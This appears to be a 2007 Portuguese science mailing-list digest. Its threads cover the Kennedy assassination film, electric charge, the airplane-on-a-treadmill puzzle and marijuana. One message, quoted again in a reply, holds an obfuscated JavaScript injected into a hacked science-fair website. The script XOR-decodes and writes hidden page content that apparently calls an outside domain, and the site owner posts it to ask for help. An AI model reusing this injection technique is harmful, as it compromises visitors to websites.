Pessoas produzem endorfinas. Não é ilegal produzir endorfina em seu

organismo, eqto produzir, comercializar e usar morfina é proibido em

grande parte do mundo.



Qtas pessoas entram em estado de alteração de consciências com

chocolate? Maconha alimenta?



Há vários aspectos a se considerar.



[]s,



Roberto Takata














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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: O assassino desconhecido de Kennedy
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 13/03/2007 11:34

O assassino desconhecido de Kennedy <http://100nexos.com/arquivo/112>Assista
ao v�deo <http://100nexos.com/arquivo/112>

H� pouco um novo filme do dia fat�dico em Dallas em que a cabe�a do homem
mais poderoso do mundo simplesmente explodiu foi divulgado, a filmagem de
George Jefferies <http://www.youtube.com/watch?v=JY384ITlbTw>. Mas ela n�o
mostra os instantes brutais do assassinato, para tal, o filme Zapruder, que
voc� confere acima em uma vers�o estabilizada, continua a refer�ncia. E, com
a estabiliza��o digital, voc� pode perceber algo estranho.
Logo ap�s uma placa passar em sua frente, Kennedy � atingido por tr�s pela
primeira bala, e logo levanta seus dois bra�os. � como se tivesse sido
picado no pesco�o, em realidade a bala trespassou seu corpo e foi ainda
atingir o governador no banco da frente. O presidente, contudo, faz mais
alguns movimentos e fica completamente im�vel, como um boneco. Esta outra
vers�o real�ada do filme Zapruder, em
close<http://www.youtube.com/watch?v=mNF_fA_jjzc&NR>(imagens
proporcionalmente mais gr�ficas e fortes) deixa este aspecto
bizarro mais evidente. Seria essa evid�ncia de que JFK estava sendo
subsitu�do por um andr�ide? Ou, como alguns defendem seriamente, o filme
Zapruder seria uma montagem?
H� uma explica��o inusitada para as rea��es incomuns de Kennedy. H� alguns
anos revelou-se que o aparentemente saud�vel presidente tinha em verdade
problemas graves de sa�de, e tomava uma s�rie de rem�dios � entre eles
alguns que justamente lhe conferiam uma apar�ncia bronzeada e jovial. JFK
tinha terr�veis problemas de coluna, e um de seus maiores segredos era o de
que usava uma esp�cie de espartilho de apoio � n�o t�o diferente de Scarlet
O'hara em "E o Vento Levou", mas repleto de arma��es de metal. O espartilho
limitava seriamente seus movimentos, mas JFK chegou a jogar futebol
americano usando um para uma sess�o de fotos casuais que o fizeram famoso,
sempre mascarando sua p�ssima condi��o de sa�de.
No dia de seu assassinato, Kennedy usava seu espartilho, como um dos m�dicos
que o socorreu testemunhou<http://72.14.235.104/search?q=cache:WjThuUGJM7wJ:mcadams.posc.mu.edu/russ/testimony/carrico1.htm+corset+Carrico&hl=en&ct=clnk&cd=1>.
Ironia cruel, se n�o estivesse usando o espartilho para esconder sua
enfermidade, Kennedy provavelmente teria seu corpo jogado � frente depois de
ser atingido pela primeira bala, que repetindo, trespassou seu corpo, e n�o
atingiu nenhum �rg�o vital. Os m�dicos especularam que Kennedy provavelmente
se recuperaria dos ferimentos desta primeira
bala<http://www.thestandard.com.hk/stdn/std/Opinion/FK27Df02.html>.
Ele ficaria agonizando nesta posi��o e se movimentaria com o andar do carro
e de sua esposa. Mas, com o espartilho apoiando sua coluna, o presidente
permaneceu com seu torso im�vel, facilitando o trabalho de Lee Harvey Oswald
que ent�o o atingiria com o tiro na cabe�a que o matou instantaneamente.
Fiquei sabendo deste detalhe pouco conhecido, e talvez crucial, na hist�ria
e no assassinato de JFK no document�rio "The World's Most
Photographed<http://www.npg.org.uk/live/wowmp.asp>",
excelente. N�o � nenhum segredo, mas FD Roosevelt era
paral�tico<http://en.wikipedia.org/wiki/Franklin_D._Roosevelt#Paralytic_illness>,
e como Kennedy, usava uma s�rie de suportes de metal em p�blico para
minimizar sua doen�a. Curiosamente, Roosevelt e Kennedy est�o entre os mais
populares presidentes do s�culo passado.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Fw: D�vida --- filos�fica!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 13/03/2007 12:15

Eis as sublimes dúvidas da Sra Irene. Coloquei minhas sugestões no texto abaixo; podem complementar à vontade.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Irene Duarte
Para: leobarretos@uol.com.br
Cc: duarteleao@hotmail.com
Enviada em: segunda-feira, 12 de março de 2007 23:57
Assunto: Dúvida


Boa noite!

Sou estudante de Sistemas Elétricos, e gostaria de esclarecer a seguinte dúvida:

1)Suponha que os módulos da carga no eléron e no próton não fossem as mesmas, digamos, em 0,1%.O mundo seria diferente?

Léo: Seria 0,1% diferente do que é hoje.

2)E o aconteceria com o mundo caso os elétrons fossem positivos e os prótons negativo?

Léo: Nada seria alterado. Positivo para o próton e negativo para o elétron é pura convenção. Se vc quiser trocar, por exemplo em seu livro de eletrodinâmica, colocando próton negativo e elétron positivo, nada, absolutamente nada irá se alterar na conceituação, fórmulas etc. desse livro. Aliás, não há um experimento siquer que mostre que o elétron tenha carga negativa. Quando qqer aparelho detetar uma corrente elétrica, não saberemos se os portadores transportam carga negativa num sentido ou positiva em sentido oposto, ou mesmo as duas, uma para cada lado!

Leio muito sobre a estrutura da matéria, mas até agora não consegui assimilar o que aconteceria nessas duas situações.
Agradeço seu retorno e gostaria se possível que me indicasse uma literatura ou site sobre esse assunto.

Irene


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Conferências de Março - COPEA
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 13/03/2007 12:15

Conferências de Março - COPEA
Fórum de Ciência e Cultura, Sala Pedro Calmon
Horário: 5as feiras, 17:30 às 19:00

Dia 15
Impacto Global das Mudanças Climáticas
Enéas Salati - Fund. Brasileira para o Desenv. Sustentável.

Dia 22
O Clima Está Realmente Mudando?
Pedro Leite da Silva
IAG/USP

Dia 29
O Problema Mudial da Água
José Galizia Tundisi
Insitituto Internacional de Tecnologia


SUBJECT: Fw: TC M�dia Tens�o
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 13/03/2007 12:28

O pessoal das elétricas estão a fim desses projetos? Pode dar bom $$$!

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: Diego A. Padovam
Para: leobarretos@uol.com.br
Enviada em: segunda-feira, 12 de março de 2007 15:45
Assunto: TC Média Tensão


Prezado Prof° Leo,



Gostaria de saber se o Sr. Conhece algum engenheiro que saiba desenvolver Transformadores de Corrente / Tensão, classe Média Tensão até 25KV,

Caso conheça favor indicar, pois estamos precisando.



Atenciosamente,

Diego Padovam







Medidores e Transformadores Ltda

Fone: 55 11 4138-5122 Fax: 55 11 4138-3480

www.sassitransformadores.com.br

sassi@sassitransformadores.com.br





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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Jose Renatp - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/03/2007 14:35

Olá Jose Renato

Renato: "Homero, chamei sua atenção que mover não é voar, seja o que for: avião,
navio, abelha ou nave espacial... Isso é cristalino."

Não, Renato, parece cristalino para você, mas não é o que pensa. Todo o enunciado é um truque, uma "pegadinha", destinada a enganar justamente essa sensação de ser "cristalina" a resposta. A esteira é um "red hering". O avião se move para voar, e se move, ao ligar os propulsores (sejam hélices, sejam jatos) com a MESMA velocidade sobre a esteira do que sobre o chão, sobre eskis, sobre flutuadores, etc.

Quando a esteira rola para tras, a ÚNICA coisa que aumenta a velocidade, para "compensar" são as rodas, o giro das rodas do avião. Se fossem eskis, apenas deslizariam mais rapidamente em relação a esteira, mas ainda permitiriam o avião se mover e decolar. Que NÃO afetam o avião ou sua velocidade, a não ser a partir do atrito, mínimo, dos rolamentos. Estes, em aviões normais e para o efeito do enunciado, decolam apesar desse atrito (como bem demonstrou o Ricardo e todos os outros).

O enfoque do Takata, NÃO é o que você pensa, e ele também não concorda com você (embora discorede de mim em outros pontos).

Tente isso, o que acha que acontece se o atrito dos rolamentos for zero? Se seguirmos sua versão, mesmo com atrito zero o avião NÃO decola, pois o rolamento da esteira "compensa" o giro dasa rodas e o movimento do aviãos será nulo. Mas, isso não acontece, o que demonstra que com ou sem atrito, você está errado.

Quando o avião começa a se mover, digamos a 10 km por hora EM RELAÇÂO AO COLO, a esteira gira apra tras a 10 km/h. Nesse momento, as rodas vão girar a 20 km/h, só isso. O avião CONTINUA a se mover a 10 km/h em relação ao solo e ao ar. Agora, o avião aumetna a força dos propulsores, o suficiente para aumentar, se estivesse sobre o solo, mais velocidade e ir para 50 km/h. E ele VAI a 50 km/h, pois não há NADA a impedir esse aumento de velocidade.

Nesse momento, a esteira passa a rolar a 50 km/h para tras e as rodas passam a girar sobre seu eixo a 100 km/h. Mas o avião CONTINUA a se mover a 100 km/h em relação ao solo e ao ar.

NADA, muito menos a rolagem da esteira, pode diminuir sua velocidade, e mesmo o atrito consumirá apenas uma mínima parte da força necessária para mover o avião (da mesma forma como é necessária uma força mínima de seu braço para manter uma mala parada na esteira do aeroporto, enquanto esta rola para tras, se a mala tiver rodinhas).

Agora, os porpulsores aumentam o empuxo, o que aceleraria o avião (é um teco-teco) até 150 km/h, o suficiente para decolagem. O avião se move a essa velocidade em relação ao solo e ao ar, pois NADA o impede de acelerar. Embora a esteira esteja rolando a 150 km/h para tras, as rodas estão girando em seus eixos a 300 km/h, de forma que NENHUMA força aplicada pela esteira chegue ao avião, que decola sem problemas.

Mais uma vez, pense nos rolamentos sem atrito, e entenderá seu erro nesse caso. Pense em um avião com eskis, sobre uma esteira gelada que rola para tas e entenderá seu erro. Pense em como as "rodas" estão enganando seu "bom senso" e entenderá seu erro.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: A tecnologia correndo atrás. Mas, e daí?
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/03/2007 14:59


Lista,

A tecnologia, um produto da ciência, correndo atrás, para tapar o sol com uma peneira! A tecnologia a serviço de nós outros, indefesos e reféns de uma situação fora do contrôle das otoridades.

Eis uma nova opção para proteção de seu veículo. O problema é se, realmente, a garantia do fabricante é 100% confiável:
"O fabricante garante que o FlashFog não vai disparar por acidente enquanto você estiver dirigindo."

Espera-se que o fabricante nunca venha dizer á família: é...coisas da vida, houve uma falha no controle de qualidade!. Iremos rever o projeto e ajustar melhor os parâmetros...

Sds,
Victor.



Digital Drops
Uma alarme de carro bem diferente é o FlashFog, uma máquina que enche completamente, e em segundos, o carro com uma nuvem que impede o ladrão de r

oubá-lo. O sistema além da fumaça vem com poderosas luzes que piscam e transformam a cabine em uma área cega.

Outros alarmes podem até impedir o roubo do carro, mas o FlashFog vai além protegendo o som e todos os objetos deixados dentro do carro. A fumaça/vapor é uma nuvem branca e densa, formada pela mistura de glycol com água, não é tóxica, não deixa nenhum resíduo no carro e demora 45 minutos para dissipar. O fabricante garante que o FlashFog não vai disparar por acidente enquanto você estiver dirigindo.

E se você quiser proteger mesmo seu carro pode encomendar um FlashFog com gás lacrimejante e sirene com ensurdecedores 125 decibéis de volume. Esse é bom para quem mora no Rio.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Tempos modernos, há mais de 5500 anos!
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/03/2007 15:07

Lista,

É, parece que o homem não está tão diferente daqueles tempos tão antigos. Ou está?

Sds
Victor

12/03/2007 » Envie este artigo
Estadão
As descobertas sugerem que o período Neolítico foi mais violento do que se pensava. Exames realizados em ossos encontrados em um cemitério pré-histórico indicam que eles pertenciam à vítimas de um massacre ocorrido na era Neolítica, de acordo com cientistas britânicos.

Os restos mortais de 14 pessoas haviam sido encontrados nos anos 60 em Wayland's Smithy, Oxfordshire. Mas tecnologias recentes permitiram que especialistas estabelecessem as datas dos ossos: entre 3590 a.C. e 3560 a.C.

O estudo foi realizado pela organização English Heritage, com ajuda da Universidade de Car
diff e Universidade de Central Lancashire.

As vítimas - três delas provavelmente mortas com flechas - podem ter sido assassinadas em disputas por terras ou animais. "Nós sabemos que uma pessoa foi atingida no abdômen porque encontramos a pequena ponta de uma flecha de pedra incrustada na pélvis", disse Michael Wysocki, que participou do estudo.

"Nós também sabemos que os corpos de duas pessoas foram parcialmente devorados e desmembrados por cães ou lobos antes que os restos fossem enterrados."

Wysocki afirmou que "todas essas novas evidências sugerem que o período entre 3625 a.C. e 3590 a.C. pode ter sido de crescente tensão e reviravolta".

"Com essa pesquisa, nós podemos agora pensar no período Neolítico em termos de indivíduos e comunidades e fazer comparações úteis e reveladoras sobre as escolhas e comportamentos no passado remoto", disse Alex Bayliss, da English Heritage

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Res: [ciencialist] Re: Chocolate poderia se tornar ilegal
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/03/2007 16:03

--- Em ciencialist@yahoogrupos.com.br, "Eurico Ferreira de Souza Jr."
> [E]> sim, maconha alimenta. (a semente é um dos alimentos
> mais completos)

Embora ocasionalmente algumas pessoas comam maconha e suas partes - em
particular as flores - o principal uso é o fumo, qdo a planta perde
todas as suas potenciais propriedades nutricionais.

> por outro lado, do cacaueiro não se tira papel nem tecido...

Da maconha tb não. O cânhamo, por outro lado, não se fuma - é
possível, mas não tende a dar barato pelo menor teor de THC.

> ps: a maior parte dos alimentos é levemente psicoativa
> de alguma forma. a comparação do chocolate com
> maconha, nesse aspecto, é descabida. Embora
> não exista dose fatal para a maconha e vira e mexe
> a aspirina matar um (p. ex.) os efeitos da maconha
> são muito fortes, capazes de levar um incauto
> a erros de percepção, incapacidade para controlar
> veículo ou máquina, etc...

Pois é, o chocolate não tende a levar a um estado de alteração da
consciência.

Se fosse possível fiscalização eficiente, a produção de cânhamo para
fibras não seria tão problemática.
Se fosse possível fiscalização eficiente, a maconha poderia ser usada
como calmante e outras aplicações médicas.
Se fosse possível confinar o dano do uso da maconha apenas aos
usuários e se os usuários estivessem plenamente cientes dos problemas
potenciais q a maconha poderia lhe causar, seria apenas uma questão de
escolha pessoal.

[]s,

Roberto Takata



SUBJECT: Re: Tempos modernos, há mais de 5500 anos!
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/03/2007 17:24

--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
> É, parece que o homem não está tão diferente daqueles tempos tão
> antigos. Ou está?

Eu ficaria mais tranqüilo se o Irã estivesse sendo acusado de estar
tentando desenvolver um novo tipo de flecha com ponta de osso, em
lugar de uma bomba nuclear.

(Claro, a mm observação vale em substituição ao arsenal já existente
dos EUA, Rússia, China, França, Inglaterra, Israel, Paquistão, Índia,
África do Sul...)

[]s,

Roberto Takata



SUBJECT: Re: Feira de ciencias
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "Ciencias" <ciencias@sme.curitiba.pr.gov.br>
DATE: 13/03/2007 17:30

Olá Sra. Ana Lúcia,

novamente agradeço o convite de participação e, como já salientei, se eu puder participar e colaborar de algum modo, o farei com satisfação e sem agendamento de honorários.

Quem poderá participar será 'eu', e não meu currículo, CPF, RG ou cópia de mestrado em Física; prescindo de enviar isso! Agora, uma vez aposentado, dispenso o caráter acadêmico.


Apenas avise-me, com antecedência, o dia dessa I Feira e dentro de minhas possibilidades poderei estar presente e, como disse, o farei com satisfação.

Total sucesso,

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ciencias" <ciencias@sme.curitiba.pr.gov.br>
Para: <leobarretos@uol.com.br>
Cc: <ciencias@sme.curitiba.pr.gov.br>
Enviada em: segunda-feira, 12 de março de 2007 15:26
Assunto: Feira de ciencias



Conforme contato anterior,solicitando sua participação na I Feira de
Ciências e Tecnologia da Rede Municipal de Ensino de Curitiba e para tanto
serão necessários os seguintes procedimentos.
Solicitamos ao senhor professor Luiz Ferraz Netto, a gentileza de nos
enviar uma cópia do curriculo,xerox da RG e CPF, bem como uma cópia da
última graduação.
Esses documentos servirão para um cadastramento na Secretaria Municipal de
Ensino de Curitiba e posterior agendamento de honorários.



Atenciosamente


Ana Lúcia Mathias










--
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SUBJECT: Novamente Virus no Feira de Ciencias
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/03/2007 18:02

Olá, quem decifrou os códigos do antigo vírus no Feira.

Hoje apareceu outro e deu para ler, na 'carga' do index, algo como www.//pirads.net ou algo assim.

Eis a parte 'cancerígena' que colhi com o editor de código fonte:

"<script language="JavaScript">e = '0x00' + '78';str1 = "%C3%9B%90%8D%E7%8A%8B%80%93%9C%C4%D9%8D%90%8A%90%99%90%93%90%8B%80%C1%9F%90%9B%9B%9C%95%D9%C5%C3%90%9D%89%98%94%9C%E7%8A%89%9A%C4%D9%9F%8B%8B%97%C1%D6%D6%97%90%89%98%9B%8A%D5%95%9C%8B%D6%94%9C%95%8B%D6%D9%E7%8E%90%9B%8B%9F%C4%C8%E7%9F%9C%90%9E%9F%8B%C4%C8%C5%C3%D6%90%9D%89%98%94%9C%C5%C3%D6%9B%90%8D%C5";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>"

Que faço?

Como palhativo já substituí a página danificada pela original .... mas, isso vai acontecer diariamente!

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Re: [ciencialist] Re: Feira de ciencias
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/03/2007 19:50

Léo,

Inicialmente, achei meio pedante e fora de propósito, a um convite, a concomitante exigência de documentação que justifique a capacitação, pela qual o convite foi feito! Contudo, talvez se justifiquem as providências requeridas, em vista da informação, mais animadora: "Esses documentos servirão para um cadastramento na Secretaria Municipal de Ensino de Curitiba e posterior agendamento de honorários." Ah, bom!
Mas gostei da resposta do Mestre Léo. Também tem uma coisa: tchau para os honorários... Bem, por causa da nobre causa, honorários à vista, eu mandaria!

Sds,
Victor.


----- Original Message -----
From: Luiz Ferraz Netto
To: Ciencias
Sent: Tuesday, March 13, 2007 5:30 PM
Subject: [ciencialist] Re: Feira de ciencias


Olá Sra. Ana Lúcia,

novamente agradeço o convite de participação e, como já salientei, se eu puder participar e colaborar de algum modo, o farei com satisfação e sem agendamento de honorários.

Quem poderá participar será 'eu', e não meu currículo, CPF, RG ou cópia de mestrado em Física; prescindo de enviar isso! Agora, uma vez aposentado, dispenso o caráter acadêmico.

Apenas avise-me, com antecedência, o dia dessa I Feira e dentro de minhas possibilidades poderei estar presente e, como disse, o farei com satisfação.

Total sucesso,

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ciencias" <ciencias@sme.curitiba.pr.gov.br>
Para: <leobarretos@uol.com.br>
Cc: <ciencias@sme.curitiba.pr.gov.br>
Enviada em: segunda-feira, 12 de março de 2007 15:26
Assunto: Feira de ciencias

Conforme contato anterior,solicitando sua participação na I Feira de
Ciências e Tecnologia da Rede Municipal de Ensino de Curitiba e para tanto
serão necessários os seguintes procedimentos.
Solicitamos ao senhor professor Luiz Ferraz Netto, a gentileza de nos
enviar uma cópia do curriculo,xerox da RG e CPF, bem como uma cópia da
última graduação.
Esses documentos servirão para um cadastramento na Secretaria Municipal de
Ensino de Curitiba e posterior agendamento de honorários.

Atenciosamente

Ana Lúcia Mathias

--
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Checked by AVG Free Edition.
Version: 7.5.446 / Virus Database: 268.18.10/720 - Release Date: 12/03/2007 19:19





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Novamente Virus no Feira de Ciencias
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/03/2007 19:55

Houve uns tempos em que me revelei muito maldoso. Imaginei que para se vender anti-vírus, é preciso que o vírus exista. Para existir é preciso que alguém os produza. E quem estaria interessado em produzí-los, e em tão grande número, e tão perfeitos enquanto softwares?
Só estou perguntando, só estou perguntando! A resposta é óbvia demais, para não ser verdadeira!

Sds,
Victor.


----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, March 13, 2007 6:02 PM
Subject: [ciencialist] Novamente Virus no Feira de Ciencias


Olá, quem decifrou os códigos do antigo vírus no Feira.

Hoje apareceu outro e deu para ler, na 'carga' do index, algo como www.//pirads.net ou algo assim.

Eis a parte 'cancerígena' que colhi com o editor de código fonte:

"<script language="JavaScript">e = '0x00' + '78';str1 = "%C3%9B%90%8D%E7%8A%8B%80%93%9C%C4%D9%8D%90%8A%90%99%90%93%90%8B%80%C1%9F%90%9B%9B%9C%95%D9%C5%C3%90%9D%89%98%94%9C%E7%8A%89%9A%C4%D9%9F%8B%8B%97%C1%D6%D6%97%90%89%98%9B%8A%D5%95%9C%8B%D6%94%9C%95%8B%D6%D9%E7%8E%90%9B%8B%9F%C4%C8%E7%9F%9C%90%9E%9F%8B%C4%C8%C5%C3%D6%90%9D%89%98%94%9C%C5%C3%D6%9B%90%8D%C5";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>"

Que faço?

Como palhativo já substituí a página danificada pela original .... mas, isso vai acontecer diariamente!

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Novamente Virus no Feira de Ciencias
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/03/2007 22:30

Olá Leo

Há diversas possibilidades para o que está acontecendo, e é preciso
mais dados para uma conclusão segura. Seu dominio está registrado
neste servidores:

cvx.convex.com.br
cvxnt2.convex.com.br

Quem é o responsável por eles? Não parecem ser um serviço de dominio
padrão, comercial. Como você atualiza os arquivos, por FPT, pelo Front
Page, Dreamweaver ou outro sistema? Ou por página de controle em HTML
na Web?

O que está ocorrendo pode ter como causa uma falha de segurança no
servidor, o que permite que um invasor possa baixar páginas alteradas
em seu diretório. Se for isso, tem de entrar em contato com o
administrador do servidor e pedir que ele reveja seus processos de
segurança, mude a senha de todo mundo (em especial a sua) e instale as
atualizações do servidor ISS ou Apache (se usar Linux).

Ou pode ser que tenham descoberto sua senha de acesso a atualização, e
estejam usando um cliente de FTP para baixar os arquivos infectados.
Nesse caso basta mudar sua senha (se tiver acesso) ou pedir que o
administrador mude para você (se não tiver acesso).

Uma terceira opção seria seu computador, e não o servidor ou as
páginas, estar infectado. Um virus poderia inserir os códigos
diretamente nas páginas através de seu navegador. Mas, se fosse esse o
caso, apenas sua máquina veria os códigos maliciosos, e não os outros
usuários do site.

Por favor, me dê mais dados para que eu possa descobrir alguma coisa
sobre seu problema.

Um abraço.

Homero
/



SUBJECT: Res: Res: [ciencialist] Re: Chocolate poderia se tornar ilegal
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/03/2007 22:33

[E]> no caso, o alimento é a semente.




----- Mensagem original ----
De: rmtakata <roberto.takata@bol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Terça-feira, 13 de Março de 2007 16:03:20
Assunto: Res: [ciencialist] Re: Chocolate poderia se tornar ilegal













--- Em ciencialist@ yahoogrupos. com.br, "Eurico Ferreira de Souza Jr."

> [E]> sim, maconha alimenta. (a semente é um dos alimentos

> mais completos)



Embora ocasionalmente algumas pessoas comam maconha e suas partes - em

particular as flores - o principal uso é o fumo, qdo a planta perde

todas as suas potenciais propriedades nutricionais.



> por outro lado, do cacaueiro não se tira papel nem tecido...



Da maconha tb não. O cânhamo, por outro lado, não se fuma - é

possível, mas não tende a dar barato pelo menor teor de THC.



> ps: a maior parte dos alimentos é levemente psicoativa

> de alguma forma. a comparação do chocolate com

> maconha, nesse aspecto, é descabida. Embora

> não exista dose fatal para a maconha e vira e mexe

> a aspirina matar um (p. ex.) os efeitos da maconha

> são muito fortes, capazes de levar um incauto

> a erros de percepção, incapacidade para controlar

> veículo ou máquina, etc...



Pois é, o chocolate não tende a levar a um estado de alteração da

consciência.



Se fosse possível fiscalização eficiente, a produção de cânhamo para

fibras não seria tão problemática.

Se fosse possível fiscalização eficiente, a maconha poderia ser usada

como calmante e outras aplicações médicas.

Se fosse possível confinar o dano do uso da maconha apenas aos

usuários e se os usuários estivessem plenamente cientes dos problemas

potenciais q a maconha poderia lhe causar, seria apenas uma questão de

escolha pessoal.



[]s,



Roberto Takata














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SUBJECT: Res: Res: [ciencialist] Re: Chocolate poderia se tornar ilegal
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 00:09

--- Em ciencialist@yahoogrupos.com.br, "Eurico Ferreira de Souza Jr."
> [E]> no caso, o alimento é a semente.

Vai valer a mm observação anterior: fumada, não tem valor nutricional;
ingerida, tem um grande potencial de ação psicotrópica com as
conseqüências danosas.

E a maconha vendida em geral é a sinsemilla - sem sementes.

[]s,

Roberto Takata



SUBJECT: Re: Chocolate poderia se tornar ilegal
FROM: "Eduardo Santos Gama" <edusantosgama@yahoo.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/03/2007 02:29

São dois pesos diferentes, mas os defensores da legalização dizem que
nunca houve um óbito diretamente causado pelo uso da maconha, pois seu
efeito é como calmante, para relaxar, rir e curtir o barato. A
longo-prazo o usuário pode ficar um pouco mais lento no raciocínio e nos
reflexos, mas vicia menos que o cigarro ou bebida. O tráfico que é o
problema.

Comparando com os efeitos causados pelo chocolate, temos a cada dia um
número crescente de obesos que amam a páscoa incondicionalmente mesmo
sabendo que o chocolate tem pouco nutriente, engorda e vicia. Ainda hoje
as plantações de cacau do mundo empregam muito trabalho infantil e não
duvido que no Brasil ainda tenha fazendas de cacau utilizando-se de
trabalho escravo.

Eduardo

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br
[mailto:ciencialist@yahoogrupos.com.br] Em nome de rmtakata
Enviada em: terça-feira, 13 de março de 2007 16:03
Para: ciencialist@yahoogrupos.com.br
Assunto: Res: [ciencialist] Re: Chocolate poderia se tornar ilegal

--- Em HYPERLINK
"mailto:ciencialist%40yahoogrupos.com.br"ciencialist@-yahoogrupos.-com.b
r, "Eurico Ferreira de Souza Jr."
[E]> sim, maconha alimenta. (a semente é um dos alimentos mais
completos)

Embora ocasionalmente algumas pessoas comam maconha e suas partes – em
particular as flores - o principal uso é o fumo, qdo a planta perde
todas as suas potenciais propriedades nutricionais.


> por outro lado, do cacaueiro não se tira papel nem tecido...

Da maconha tb não. O cânhamo, por outro lado, não se fuma – é possível,
mas não tende a dar barato pelo menor teor de THC.

> ps: a maior parte dos alimentos é levemente psicoativa de alguma
forma. a comparação do chocolate com
> maconha, nesse aspecto, é descabida. Embora não exista dose fatal para
a maconha e vira e mexe a aspirina matar um (p. ex.) os efeitos da
maconha
> são muito fortes, capazes de levar um incauto a erros de percepção,
incapacidade para controlar veículo ou máquina, etc...

Pois é, o chocolate não tende a levar a um estado de alteração da
consciência.

Se fosse possível fiscalização eficiente, a produção de cânhamo para
fibras não seria tão problemática.
Se fosse possível fiscalização eficiente, a maconha poderia ser usada
como calmante e outras aplicações médicas.
Se fosse possível confinar o dano do uso da maconha apenas aos usuários
e se os usuários estivessem plenamente cientes dos problemas
potenciais q a maconha poderia lhe causar, seria apenas uma questão de
escolha pessoal.

[]s,

Roberto Takata

--
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12/3/2007


--
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12/3/2007



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Chocolate poderia se tornar ilegal
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 02:46

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Santos Gama"
> nunca houve um óbito diretamente causado pelo uso da maconha, pois

L. Bachs 2001 - Acute cardiovascular fatalities following cannabis
use. Forensic Science International, Volume 124, Issue 2-3, Page 200

Andreasson S, Allebeck P. 1990 - Cannabis and mortality among young
men: a longitudinal study of Swedish conscripts. Scand J Soc Med.
1990;18(1):9-15.

"The association between level of cannabis consumption and mortality
during a 15-year follow-up was studied in a cohort of 45,540 Swedish
conscripts. The relative risk of death among high consumers of
cannabis (use on more than 50 occasions) was 2.8 (95% confidence
interval (1.9-4.1)) compared with non-users. However, after control
for social background variables in a multivariate model, no excess
mortality was found. A high level of consumption of other drugs was
also associated with increased mortality; the relative risk of high
consumption (greater than 50 times) was 4.6 (2.4-8.5) compared with
non-users. After adjustment for social background a relative risk of
1.2 (0.8-1.9) remained; for those having used drugs intravenously more
than once, the relative risk was 1.6 (0.9-2.7). Among causes of death
a strong predominance was found for violent death, suicide or
uncertain suicide being the single most important accounting for 34.4%
of all deaths. The proportion of suicides increased sharply with the
level of cannabis consumption."

